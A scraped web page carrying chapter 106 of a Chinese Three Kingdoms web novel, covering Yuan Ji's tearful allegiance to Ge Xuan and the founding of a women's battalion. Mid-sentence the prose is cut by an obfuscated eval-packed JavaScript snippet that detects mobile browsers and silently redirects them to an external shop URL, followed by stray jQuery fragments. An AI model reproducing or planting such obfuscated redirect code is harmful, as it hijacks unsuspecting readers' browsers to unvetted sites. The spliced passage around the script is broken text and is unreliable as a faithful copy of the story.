文趣网 > 都市小说 > [三国]恶女势必要青史留名 > 106. 无为有处
    葛玄隔着屏风看到了一个清瘦如竹的身影,只是一眼,她就知道这人是袁基。

    “陈王殿下。”袁基向从屏风后出来的刘宠作揖,也对葛玄做作揖了,但没有称谓。

    袁基没有唤她。

    但葛玄看见袁基的嘴颤抖似的张了张,没有发出声音,眼底破碎也被藏在一瞬的低头下。

    刘宠没有管他什么破碎不破碎,径直走到上座,用审视的目光打量道:“袁公已经称霸北方,手握重兵甚至能和曹操一战,不再是从前需要本王救援的人了。这次来是想做什么?来看本王笑话?”

    她还记着袁基囚禁葛玄的事,就算他现在实力雄厚,甚至能帮到她,她也没给他好脸色。

    “在下得知殿下安全归来,念及往日相助之恩,特意前来探望。”袁基没有挂上那张虚伪的假笑,所以也让他下面说的话听起来真挚了许多。

    但刘宠依旧不买单,到底是想念谁,她还不清楚?她语气生硬道:“别客套了,直接说吧。”

    “在下欲与袁氏归顺殿下。”

    刘宠挑了挑眉,看了眼葛玄,葛玄脸上玩味的表情逐渐浮现,她也觉得狐疑:“这个时候?你确定?我现在可是人人得以斥骂的假陈王,这个时候你但凡与我沾上关系,可就成罪人了。”

    “如此乱世,谁人不是反贼,但只要反贼能终结乱世,世人也会歌颂她为英雄。殿下离去两年,手下将领大臣都在为你坚守,足以见得殿下得人心,是明君。东汉不缺英雄,却缺明君,所以在下看好殿下。”

    “喔~所以你之前归顺我不是因为看好我。那这次呢,我怎么知道你是真的看好我,而不是因为……啊?”刘宠说着看向葛玄,收获葛玄一枚鄙夷的笑眼后,她摇晃着手站起来,径直走向门口:“哎不管了!军中还有许多要务要处理,葛玄,你和袁基谈,把结果知会我一声。”

    中原的寒风掠过屋内,在温暖中不经意浮出的寒意,会让人不自觉想往屋内另一人身上靠拢。

    葛玄也很久没见他了,袁基如此破碎的神情她只在袁基亲人离世时短暂看过一眼。

    所以她也是他无比重要的人吗?重要到什么程度呢?

    葛玄道:“你不是要重振袁氏吗?怎么又改变主意了?”

    “同心而离居,忧伤以终老。无论得卿之心,抑或得卿之身,总需卿活着方有意义。你那日走了后,我一直在想,没有你难道我就不能活了吗?但我发现我不行,你走后每一日我都无比煎熬,我知道,你要兵和权,所以我要把北方打下来,届时你自然会需要我,可……可我等来的却是你的死讯……”

    袁基红了眼眶,声线像被人抚弄的琴,颤抖、沙哑。就算在那种时候,葛玄都没有听过他如此直白的抒发爱意,也许袁基真的为葛玄的死伤透了心。

    原来自己的死活也对某人有着如此大的意义,她有什么办法,只能更加怜爱这个需要自己的宠物了。

    “我派人将柴桑那一块所有都打捞过,但一无所获,没有你的尸体我就知道你不会那么轻易就死了的。但我、我真的感知不到你的气息了,我真的很怕你死了,而我与你最后一面却如此不堪……”

    一滴泪从他眼尾滑落,他喉间哽咽再难压抑,转瞬便泪如雨下,砸湿手背与衣襟。他不肯低头,眼底光碎,抽噎不止,却还是那么自持,与生俱来的傲骨配以哭的梨花带雨的面容,更显一分独特的清贵。

    袁基是会想很多的人,一个小小的念头都能引发他无数猜想,所以葛玄知道这两年袁基有多煎熬。

    她抬起手,轻轻抚摸袁基的脸,声音也带了分沙哑:“你瘦了,也憔悴了。”

    他像只受了委屈的小猫,鼻尖泛红,脸颊还沾着未干的泪痕,轻轻往葛玄的手上蹭贴,带着几分不自知的依赖与渴求。

    “如果我真的死了,你要怎么办?”

    “双棺并椁,需两具亡魂相伴。你若当真殒命黄泉,我便来陪你。”

    心底的酥麻传到了指尖,葛玄指尖一路滑落,揽住了袁基的腰身。她好想把他彻底揉进自己身体里,好想狠狠蹂躏他一番。

    爱意沉甸甸落在心头,葛玄怎么忍心把他抛弃?

    “袁基,只要你听话,乖乖呆在我身边,我们就还是像以往那样,好不好?”

    “好。”袁基将头埋入葛玄怀中,乖顺又落寞,如同迷途寻栖的幼兽,静静依偎着。

    “那现在,动用你的人,把记录陈王宗亲的宗正(官员)找出来。”

    曹操已经集结兵队,刘宠他们也要尽快打下庐江,然后与刘备汇合攻占江夏,彻底占据长江以北,以长江为天然的防线抵御孙策,刘宠他们才能全力应对曹操。

    “都给我打起精神!”

    赵云一人走在列队操练的士兵前,目光紧紧追踪每个人的神情,像天空盘旋追踪猎物的老鹰:“北有曹操,南有孙策!此战我们不能败,败了就彻底无家可归了!而且我们不仅不能败,我们更要打个漂亮的翻身仗!士兵们!你们有信心吗!”

    “有!!!”一声声呐喊聚拢起来如雷鸣般响彻云霄。

    刘宠站在队列前,看着士兵一张张“豁出去”的脸,心里虽然无法担保能打赢此战,但也一定会拼尽全力。

    两年过去,不知道孙策是否还一如既往的强劲。

    上次出战,江东军队由孙权来指挥。许久不见那小子,刘宠远远看着他带军出战的阵势,倍感那身影都快要和他哥一样了,就是性子依旧沉稳少言。

    她还真有点期待能在战场上和孙策再酣畅淋漓的打一架,不过经此一事后,作为陈家军主心骨的她已经被禁止上战场了。

    刘宠忽然瞥见身侧的士兵脸色惨白,还左晃右晃似要晕倒。想来也极有可能是寒冬腊月的,这人感染了风寒也未定,便还是问道:“你脸色不是很好,生病了吗?要是生病了就去看军医。”

    “不是的殿下!我、我没事!”士兵一嗓子中气十足地吼道刘宠脸上,但面色看上去愈发惨白,铁青的脸看上去像是怕什么。

    刘宠思索自己语气没有很严苛吧?难道是她看起来凶?但军中无戏言,她说话的语气又重了一分:“没事?要知道你现在逞强,不把病治好,出道战场上……喂!”

    这人没等刘宠把话说完,便直直昏死坠地。

    刘宠其实一直都知道,不少人家会把女子女扮男装推出去,顶替家中应征入伍的男子,美其名曰家中要有男子看守,要有男子传宗接代,然后把女子推出去送死。

    这样的人不在少数,军队中早就司空见惯,所以也不会有人揭发她们。

    只是刘宠从不觉得这事会发生在自己军中,还被她亲自撞见。

    这人是来月事了,天寒地冻还要操练,身体本就吃不消,再加上突然被刘宠一番好心的质问,这女兵最终没撑住,晕倒了。

    军医稍加治疗,喂了些驱寒的汤药,女兵也苏醒过来。她醒来见到刘宠和葛玄居然坐在自己床头,本就苍白的脸变得更加惶恐:“殿下,主簿,求你不要处死我,我、我可以上场杀敌的!我、我不比男子弱,我一样可以冲锋陷阵!”

    刘宠也有被月事折磨的经历,特别是战事紧密的时候,过于操劳,又忧心忡忡,她疼的都要在地上打滚,但面对外人也只能强装无事。

    明明就是很大的事!生理的疼痛在社会洗礼下,变成了女子难以启齿的耻辱。

    这个时候她就很气愤,女子已经要承受生育之痛,每月还有月事困扰,为什么男子什么苦也不用受,就能将女子压在身下?

    刘宠越想越气愤,道:“何故要处死你,本王就算要问责,也是问责背后送你去死之人。既然有你替兄从军,就有第二人替父从军吧?你知道她们在哪个营吗?本王想单独成立一个女兵营,从事一些更能发挥女子优势的战事。”

    见女兵犹犹豫豫地不敢开口,葛玄眼神也柔缓下来:“你忘了,殿下是女子,我也是女子,只有女子才懂女子的处境。我们不会害你,只是感慨你们存在的意义,女子就算打胜仗,立大功,功绩最终都不属于你们。就算打完仗,你们也会被遣回家中。男子希望女子拼尽全力,却又不希望你们得到功名,这不公平。只有更多的女子得到应有的待遇,才能鼓舞更多的女子站起来。”

    军医诊治的屋子很小,一盏烛火就能点亮整间屋子,可女兵看去,不知为何那光亮都聚集到了葛玄和刘宠头上……

    女兵道:“我之前一直觉得殿下和主簿这样的贵人,离我这个小小的士兵很遥远。就算世人如何传颂你们的事迹,说你们如何爱民,我都觉得与我这个只想活下去的人无关。可今

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720168|208600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    日一见,我才发觉我是多无知……”

    女扮男装从军,本就小心翼翼,可女子在乱世实在卑微,她知道事情败露必死无疑,早已认命。

    但刘宠没有苛责,没有轻视,反而心生悲悯,体恤难处,还要打破世俗成见,为女子立营。

    突如其来的善待与包容,消解了她所有的惶恐与卑微,心口又酸又暖,万般感激与感动堵在喉间。

    刘宠和葛玄没有多留,让女兵写下军中女扮男装的人后,她们便打算立即去安排女兵营一事。

    临走时,女兵突然振奋起来:“殿下,主簿,我一定会支持你们的!”

    葛玄给了女兵一个大大的笑脸:“好好修养,或许有朝一日你兄长在战场上见到你,他还要喊你一声长官。”

    庐江战事由刘宠亲自前往指挥,这场仗也可以说是她打过最轻松的一仗:北面袁基出兵兖州边境,压制曹操;江夏有刘备对江东军不断骚扰;张邈和陈登在广陵骚扰建业防线。

    她自己带了一支新军队,正是她们后期组建的这支女兵营,由太史慈率领。

    女兵们凭借身型优势,不惊一兵一卒半夜深入敌人后方营地,等第二天开战时,直捣敌军营地。

    战场前方有赵云和张辽领兵杀敌,后方太史慈和女兵夹击,江东军虽不说大败,但也被打的仓皇撤离。

    虽然此战刘宠未见孙策身影,但她见到了周瑜。

    看着他那副耻高气昂的姿态,她才想起来那年她随父入洛阳,洛阳令周异也有个同清冷孤高的儿子。

    对于自己父亲对别家孩子的喜爱,小男孩并不开心,但也没有生气,只是在一旁观察。

    刘宠觉得那是毒蛇即将扑出洞口,一口咬死猎物般的蓄势待发,所以她也没有与这个小男孩多接触。

    陈国的庆功宴上,赵云不胜酒力,几杯就醉的不省人事。刘宠便亲自把人带回房了,不知道还回不回来。

    张辽太累了,带了一大堆吃食就回去休息了。诸葛亮要乖乖等宴会结束才离席,只有太史慈还在不醉不归。

    太史慈拎起一壶酒,大步走到向下方的士兵。她看起来虽然有些醉,但步伐依旧稳健,举起酒壶一口猛干:“这一仗打得太漂亮了!我看他曹操孙策还狂什么!喝!都给我使劲喝!”

    士兵捧场欢呼起来,场面更加热闹。

    就是吵得葛玄有些头晕。

    她还有要是和太史慈谈,所以跑到营寨中举行的宴席上来抓太史慈来了。

    太史慈见揽着自己肩膀的是葛玄,还想拉着她一块不醉不休,但还是被葛玄拉走了。

    “哎,王府里的庆功宴冷清清的,又不好撒泼打滚,喝醉了就是要撒泼打滚啊!快说吧,说完我要回去和他们喝酒了。”太史慈靠在椅背上,一脚翘在椅子扶手上,和沉稳的众人相比,已经是个醉汉了。

    葛玄抿了口温酒,悠悠瞥向太史慈:“太史慈,凭你和孔融的关系,能把他请来吗?”

    “我和一个有沽名钓誉的人什么关系。”太史慈笑脸全无,甚至刚刚的好心情都被污染。

    每次一听到孔融这个名字,她就会想起那个因她和他而死的无辜人。

    下人私通,孔融单单把她留下来,却乱棍打死了另一人,这是他最错误的决定。

    “如此说来……”诸葛亮不是很习惯在背后议论他人,面对接下来要说出口的话,也变得有些难为情:“太史将军是觉得孔夫子是个迂腐的人,你们之间究竟发生了什么,才会让你对他有如此大的敌意。”

    葛玄见太史慈摆着一副臭脸,笑着替她回道:“他不是迂腐的人,能写出父母无恩论的人,怎么会是迂腐的人。”

    而且能和祢衡这样脱掉衣服羞辱曹操的人是忘年之交,怕也是个不知多狂野的人。

    不过太史慈和孔融的故事确实是很精彩了。

    “不是我对他有敌意,是他本来就是这样的人。他把名看的太重了,想想他孔子二十世孙的身份,还有让梨的故事,可算是让他享尽美誉了。他会选择站在曹操这边也是因为天子在他手上,他这样的人怎么能是乱臣贼子呢?呵呵。”太史慈仰着面,说话都有点窒息的意味

    她坐正身子,冷笑一声,语气间尽是嘲讽:“不过你们叫他来是想打他的脸的话,我很乐意帮忙。”